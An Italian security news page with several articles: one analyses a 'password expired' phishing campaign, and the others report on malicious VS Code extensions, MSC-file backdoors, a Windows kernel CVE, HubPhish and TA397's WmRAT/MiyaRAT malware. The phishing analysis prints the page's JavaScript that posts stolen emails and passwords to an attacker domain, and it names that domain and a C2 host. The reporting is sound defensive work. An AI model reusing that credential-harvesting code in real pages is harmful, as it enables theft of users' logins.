Sicurezza Informatica
La tua password è scaduta: nuova ondata di attacchi phishing
Tempo di lettura: 4 minuti. Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili.
Introduzione: Gli attacchi di phishing sono una minaccia sempre più diffusa nel mondo digitale. Con l’aumento dell’uso di Internet e delle comunicazioni via email, i cybercriminali trovano sempre nuovi modi per ingannare le persone e rubare informazioni sensibili. In questo articolo, esploreremo cos’è il phishing, come funziona e come puoi proteggerti da esso.
Cos’è il Phishing: Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili. Questi truffatori inviano email o messaggi che sembrano provenire da aziende o istituzioni legittime, come banche, social network o siti di e-commerce, al fine di ingannare le vittime e convincerle a fornire le proprie informazioni.
Come Funziona il Phishing: Gli attacchi di phishing possono assumere diverse forme, ma generalmente seguono un processo simile:
- Email di Phishing: Il truffatore invia un’email che sembra provenire da un’azienda conosciuta, chiedendo alla vittima di fornire informazioni personali o di fare clic su un link fraudolento.
- Link Fraudolenti: Il messaggio di phishing contiene un link che porta a una pagina web contraffatta che sembra autentica. Questa pagina può chiedere di accedere al tuo account o di inserire informazioni sensibili.
- Raccolta di Dati: Una volta che la vittima fornisce le informazioni richieste, i truffatori le utilizzano per rubare denaro, identità o altre informazioni sensibili.
Un caso reale di attacco
Questo che segue è un esempio di email ricevuta in una mia casella di posta elettronica. Siccome sono il provider di me stesso è stato subito evidente che si trattasse di un tentativo di phishing:
Il messaggio è in inglese, ed è stato ricevuto da migliaia di utenti che sono stati avvisati del fatto che la loro password era scaduta e che se non si fosse seguito il link il loro account sarebbe stato sospeso.
Io ovviamente ho seguito il link, e la pagina che mi è comparsa è questa:
La prima cosa che possiamo notare è come viene generata una finta pagina di accesso alla email con il nome estratto dal dominio della vittima ed in alcuni casi anche l’icona presa dal sito.
Non è molto complicato generare una pagina del genere, tutte le informazioni sono contenute nell’indirizzo email del malcapitato.
Inserendo la propria password questa viene inviata al server dell’hacker ed archiviata.
Come hanno fatto a trovare la mia email?
Prima di procedere a questo attacco gli hacker fanno una scansione del web, cercando in tutti i siti, forum pubblici, profili social e raccolgono milioni di email.
Successivamente vengono inviate le email e si aspettano gli utenti che “abboccano”
Il sito che viene presentato ha questo indirizzo URL
La pagina è ospitata su un gateway IPFS di CloudFlare.
Cosa è un server IPFS?
Un IPFS gateway funge da intermediario tra la rete IPFS decentralizzata e il World Wide Web tradizionale, consentendo agli utenti di accedere ai contenuti IPFS tramite il web utilizzando URL standard. Ciò rende i contenuti IPFS accessibili a una più ampia base di utenti e facilita l’integrazione dei contenuti IPFS con le applicazioni web esistenti.
In pratica l’origine del contenuto non è facilmente rintracciabile perchè schermata dal gateway.
Analisi del codice della pagina di phishing
Analizzando il codice della pagina è possibile vedere dove vengono inviati i dati raccolti in maniera fraudolenta.
$.ajax({
dataType: 'JSON',
url: 'https://winnersolution.us/TWE/gen.php',
type: 'POST',
data:{
email:email,
password:password,
},
Questo è un pezzo di codice presente nello JavaScript della pagina. Senza scendere nel tecnico, il contenuto del form (la nostra email e la password che abbiamo inserita) viene trasmesso ad uno script ospitato sul dominio “winnsersolution.us” che è un dominio gratuito registrato sul provider NameCheap ed ovviamente non intestato a nessuno.
Admin Name: Ego Mbute
Admin Organization: fiko
Admin Street: 95485085 jfkkf ltd
Admin Street: 95485085 jfkkf ltd
Admin Street:
Admin City: New York
Admin State/Province: NY
Admin Postal Code: 10010
Admin Country: US
Admin Phone: +1.480480883
Admin Phone Ext:
Admin Fax: +1.9484894494
Admin Fax Ext:
Admin Email: ashley.treasurecn@gmail.com
Cosa abbiamo trovato nel server degli hacker?
Abbiamo trovato lo stesso script “gen.php” ripetuto diverse volte ed in diverse cartelle con date che vanno dal 13 al 15 maggio 2024, questo articolo è stato scritto il 16 maggio.
Questo hacker (non molto esperto) ha appena iniziato la sua attività di attacco, ed evidentemente dopo aver raccolto le email dei malcapitati lascerà scadere il dominio è l’hosting e passerà ad una nuova fase di attacco.
Abbiamo rintracciato il server che ha inviato l’email
Nei file log del server di posta elettronica siamo riusciti a trovare l’indirizzo del server che ha originato il messaggio fraudolento.
Il server ed il dominio ( jpcompaniesinc.com ) appartengono ad una azienda che molto probabilmente è stata hackerata in precedenza, e la loro casella di posta utilizzata per inviare altri messaggi.
Come Proteggerti dal Phishing: Proteggerti dagli attacchi di phishing è essenziale per mantenere al sicuro le tue informazioni. Ecco alcuni consigli utili:
- Verifica l’Autenticità: Controlla attentamente l’indirizzo email del mittente e verifica se corrisponde all’azienda o all’istituzione che dice di essere.
- Attenzione ai Link: Non fare clic su link sospetti presenti nelle email. Se devi accedere a un sito web, digita direttamente l’URL nella barra degli indirizzi del tuo browser.
- Non Condividere Informazioni Sensibili: Mai fornire password, numeri di carte di credito o altri dati sensibili tramite email, soprattutto se richiesto in modo non sollecitato.
- Utilizza Soluzioni di Sicurezza: Installa e aggiorna regolarmente un buon software antivirus e antimalware sul tuo computer e dispositivo mobile.
- Sii Consapevole: Sviluppa una consapevolezza delle pratiche di sicurezza online e educa te stesso e i tuoi dipendenti o familiari su come riconoscere e evitare gli attacchi di phishing.
Sicurezza Informatica
Windows, rischi Visual Studio Code, file MSC e kernel
Tempo di lettura: 3 minuti. Attacchi a Visual Studio Code e kernel di Windows: scopri come nuove minacce sfruttano estensioni malevole, file MSC e vulnerabilità critiche per colpire utenti globali.
Negli ultimi giorni, esperti di sicurezza hanno individuato nuove minacce che sfruttano estensioni malevole di Visual Studio Code, file MSC di Microsoft e una vulnerabilità critica nel kernel di Windows. Questi attacchi, sempre più sofisticati, rappresentano rischi significativi per sviluppatori, organizzazioni e utenti globali.
Visual Studio Code: estensioni malevole nel marketplace
Un’ampia campagna di attacchi è stata individuata su Visual Studio Code (VSCode), con oltre 18 estensioni malevole progettate per colpire sviluppatori e comunità legate alle criptovalute. Le estensioni, tra cui “Ethereum.SoliditySupport” e “ZoomWorkspace.Zoom,” mascherano funzioni dannose attraverso falsi numeri di installazioni e recensioni positive.
Le estensioni scaricano payload offuscati da domini fasulli come “microsoft-visualstudiocode[.]com”. Una volta installate, attivano comandi PowerShell che decriptano stringhe AES per eseguire codice dannoso. I rischi principali includono il furto di credenziali e movimenti laterali verso risorse cloud, specialmente su piattaforme come Microsoft Azure.
Gli esperti raccomandano di validare sempre le estensioni prima di installarle e di controllare i loro codici sorgente per evitare compromissioni della supply chain.
Attacchi tramite file MSC: una minaccia emergente
Un’altra campagna, denominata FLUX#CONSOLE, sfrutta file MSC (Microsoft Common Console Document) per distribuire backdoor mirate. Questi file, mascherati da documenti PDF (“Tax Reductions, Rebates and Credits 2024”), eseguono JavaScript integrato per caricare DLL dannose come “DismCore.dll.”
Gli attacchi sono stati osservati principalmente in Pakistan, dove gli aggressori utilizzano documenti a tema fiscale come esca. Questi file MSC rappresentano un’evoluzione dei tradizionali file LNK, offrendo agli attori malevoli un metodo stealth per infiltrarsi nei sistemi.
Le analisi suggeriscono che il malware installato tramite questi attacchi consente la raccolta di dati sensibili e l’esecuzione di comandi remoti, rendendo necessario un monitoraggio continuo e la segmentazione delle reti aziendali.
Kernel di Windows: vulnerabilità sfruttata per ottenere privilegi SYSTEM
Una vulnerabilità critica del kernel di Windows, identificata come CVE-2024-35250, è attivamente sfruttata per ottenere privilegi SYSTEM. Questa falla, presente nel componente Microsoft Kernel Streaming Service (MSKSSRV.SYS), permette a un attore locale di eseguire attacchi a bassa complessità senza richiedere l’interazione dell’utente.
Originariamente scoperta dal team di ricerca DEVCORE e dimostrata durante il Pwn2Own Vancouver 2024, la vulnerabilità è stata corretta da Microsoft nel Patch Tuesday di giugno 2024. Tuttavia, con la recente pubblicazione di exploit Proof-of-Concept (PoC) su GitHub, gli attacchi sono aumentati in frequenza, rendendo necessario un intervento urgente per mitigare i rischi.
Meccanismo dell’attacco e conseguenze
Gli aggressori sfruttano un untrusted pointer dereference, un tipo di debolezza che consente loro di manipolare la memoria del kernel e di ottenere un controllo completo sul sistema. Durante i test, questa tecnica è stata utilizzata per compromettere dispositivi con Windows 11 versione 23H2, eseguendo comandi con i massimi privilegi.
CISA ha classificato questa vulnerabilità come prioritaria, aggiungendola al suo catalogo Known Exploited Vulnerabilities (KEV) e imponendo alle agenzie federali di aggiornare i propri sistemi entro il 6 gennaio 2025. L’agenzia raccomanda anche alle organizzazioni private di applicare immediatamente le patch e di implementare controlli di accesso rigorosi.
Queste campagne, che spaziano dall’abuso di estensioni di Visual Studio Code alle vulnerabilità nel kernel di Windows, dimostrano la crescente sofisticazione degli attacchi informatici. Proteggersi richiede un approccio proattivo, che includa l’aggiornamento regolare dei software, il monitoraggio delle attività di rete e la segmentazione delle risorse sensibili.
Sicurezza Informatica
HubPhish, targeting politico e vulnerabilità critiche
Tempo di lettura: 3 minuti. HubPhish, targeting politico e vulnerabilità critiche: analisi delle minacce e linee guida di sicurezza di CISA per dispositivi mobili e reti.
Le recenti analisi di esperti di sicurezza mettono in evidenza campagne sofisticate come HubPhish, che sfrutta strumenti di HubSpot per attacchi di phishing su larga scala, e azioni legali contro pratiche di targeting politico illecito in Europa. Parallelamente, CISA introduce linee guida per comunicazioni mobili sicure e aggiunge nuove vulnerabilità critiche al suo catalogo.
HubPhish: campagne di phishing sofisticate tramite HubSpot
Il gruppo responsabile della campagna HubPhish, individuato da Palo Alto Networks Unit 42, ha preso di mira oltre 20.000 utenti aziendali in Europa, utilizzando i servizi di HubSpot Free Form Builder per ingannare le vittime. I cybercriminali inviavano email di phishing a tema DocuSign che reindirizzavano a falsi login di Office 365, mirati a sottrarre credenziali.
La campagna sfrutta domini ospitati su TLD .buzz e infrastrutture come Bulletproof VPS per garantire persistenza nei sistemi compromessi. Gli attori aggiungono nuovi dispositivi sotto il loro controllo negli account compromessi, continuando con movimenti laterali verso infrastrutture Microsoft Azure per accedere a risorse cloud.
Questo esempio di phishing avanzato dimostra come i servizi legittimi possano essere abusati per campagne malevole, evidenziando la necessità di rigide misure di sicurezza, come il controllo di domini sconosciuti e l’uso di autenticazione a più fattori.
Targeting politico illecito e violazione del GDPR nell’UE
L’European Data Protection Supervisor (EDPS) ha dichiarato illegale il targeting politico dei cittadini basato sulle loro opinioni personali. La decisione segue una denuncia contro la Commissione Europea, accusata di utilizzare dati sensibili per una campagna a favore della regolamentazione CSAR (Child Sexual Abuse Regulation).
Le campagne di micro-targeting hanno sfruttato proxy data come parole chiave di interesse politico per segmentare il pubblico. La violazione del GDPR dimostra il rischio che pratiche simili possano influenzare la democrazia, spingendo i legislatori a considerare regolamenti più rigidi.
CISA: nuove linee guida per comunicazioni mobili sicure
La Cybersecurity and Infrastructure Security Agency (CISA) ha pubblicato un nuovo documento di riferimento con linee guida per migliorare la sicurezza delle comunicazioni mobili. Questo strumento è pensato per aiutare le organizzazioni a proteggere i dispositivi mobili aziendali e le reti wireless da minacce crescenti.
Le raccomandazioni principali includono:
- Segmentazione delle reti mobili per separare dispositivi aziendali da quelli personali.
- Autenticazione multi-fattore (MFA) per ridurre il rischio di compromissione delle credenziali.
- Aggiornamenti regolari del firmware per mitigare vulnerabilità nei sistemi operativi mobili.
- Monitoraggio continuo per identificare comportamenti anomali e attività sospette.
Le linee guida sottolineano anche l’importanza di educare i dipendenti sui rischi associati all’uso di dispositivi mobili per attività aziendali, enfatizzando il ruolo della consapevolezza nella protezione delle infrastrutture digitali.
Nuove vulnerabilità aggiunte al catalogo CISA
CISA ha aggiornato il proprio Known Exploited Vulnerabilities Catalog, aggiungendo quattro vulnerabilità critiche che sono già state sfruttate attivamente in attacchi mirati. Tra queste spiccano:
- CVE-2018-14933 NUUO NVRmini Devices OS Command Injection Vulnerability
- CVE-2022-23227 NUUO NVRmini 2 Devices Missing Authentication Vulnerability
- CVE-2019-11001 Reolink Multiple IP Cameras OS Command Injection Vulnerability
- CVE-2021-40407 Reolink RLC-410W IP Camera OS Command Injection Vulnerability
Queste vulnerabilità rappresentano rischi significativi per reti aziendali e infrastrutture governative. BOD 22-01, il Binding Operational Directive emesso da CISA, obbliga le agenzie federali a risolvere queste vulnerabilità entro scadenze specifiche. Tuttavia, CISA raccomanda a tutte le organizzazioni, pubbliche e private, di adottare lo stesso approccio per mitigare le minacce.
Le campagne di phishing come HubPhish, i rischi legati al targeting politico illecito e le vulnerabilità sfruttate attivamente evidenziano l’importanza di misure proattive di sicurezza. Con le nuove linee guida di CISA per le comunicazioni mobili e l’aggiornamento del catalogo di vulnerabilità, le organizzazioni possono rafforzare la propria difesa contro attacchi complessi e persistenti.
Sicurezza Informatica
TA397: spionaggio internazionale con WmRAT e MiyaRAT
Tempo di lettura: 2 minuti. TA397 utilizza nuove tecniche di attacco per distribuire WmRAT e MiyaRAT, colpendo organizzazioni governative e della difesa.
Il gruppo di cyber spionaggio TA397, noto anche come Bitter, ha introdotto nuove e sofisticate catene di attacco per colpire organizzazioni governative e del settore della difesa, principalmente nelle regioni EMEA (Europa, Medio Oriente e Africa) e APAC (Asia-Pacifico). Proofpoint ha analizzato una recente campagna che utilizza tecniche avanzate per distribuire i malware WmRAT e MiyaRAT, progettati per raccogliere informazioni sensibili.
Una catena di infezione mirata e ingannevole
Il 18 novembre 2024, TA397 ha condotto un attacco mirato contro un’organizzazione della difesa in Turchia, utilizzando un’esca sotto forma di email di spear phishing. L’email conteneva un archivio RAR con diversi file, tra cui:
- Un documento PDF legittimo proveniente dalla World Bank che descrive un progetto infrastrutturale in Madagascar.
- Un file di collegamento LNK mascherato da documento PDF.
- Flussi di dati alternativi (ADS) nascosti che contenevano codice PowerShell dannoso.
L’utente, attirato dall’apparente legittimità del file PDF, eseguiva inavvertitamente il file LNK, attivando una catena di infezione che includeva:
- L’apertura del PDF come decoy per distrarre l’utente.
- L’esecuzione di script PowerShell tramite il flusso ADS.
- La creazione di un’attività pianificata che comunicava regolarmente con il server di comando e controllo (C2) jacknwoods[.]com.
Questa attività pianificata inviava informazioni di base sul dispositivo della vittima e scaricava ulteriori payload malevoli, tra cui i RAT (Remote Access Trojans) WmRAT e MiyaRAT.
WmRAT e MiyaRAT: strumenti di spionaggio avanzati
WmRAT, scritto in C++, offre funzionalità classiche di RAT, come la cattura di screenshot, l’esfiltrazione di file e l’esecuzione di comandi remoti. Il malware utilizza una semplice crittografia per comunicare con il server C2, rendendo difficile l’intercettazione da parte delle difese di rete.
MiyaRAT, introdotto più recentemente, include funzionalità simili, ma con una crittografia più sofisticata e un livello più elevato di offuscamento del codice. Questo strumento è riservato a obiettivi di alto valore, come evidenziato dalla distribuzione limitata in campagne selezionate.
Entrambi i malware sono stati utilizzati per raccogliere informazioni critiche, come dati sulle directory, processi in esecuzione e geolocalizzazione, e per interagire direttamente con la rete dell’organizzazione compromessa.
Tecniche di persistenza e copertura delle tracce
TA397 dimostra una notevole abilità nell’evadere le misure di sicurezza, utilizzando:
- Attività pianificate per garantire la persistenza.
- Offuscamento dei file esca, mascherati per sembrare innocui.
- Crittografia personalizzata per proteggere le comunicazioni con i server C2.
Queste tecniche, combinate con un’infrastruttura di comando e controllo che utilizza domini legittimi e indirizzi IP non direttamente riconducibili al gruppo, complicano ulteriormente le indagini forensi.
TA397 “rappresenta una minaccia significativa per organizzazioni strategiche in tutto il mondo”. Le sue campagne mirate dimostrano una continua evoluzione delle tecniche di attacco, sottolineando la necessità di misure di difesa avanzate e un monitoraggio costante delle infrastrutture IT per rilevare attività sospette.
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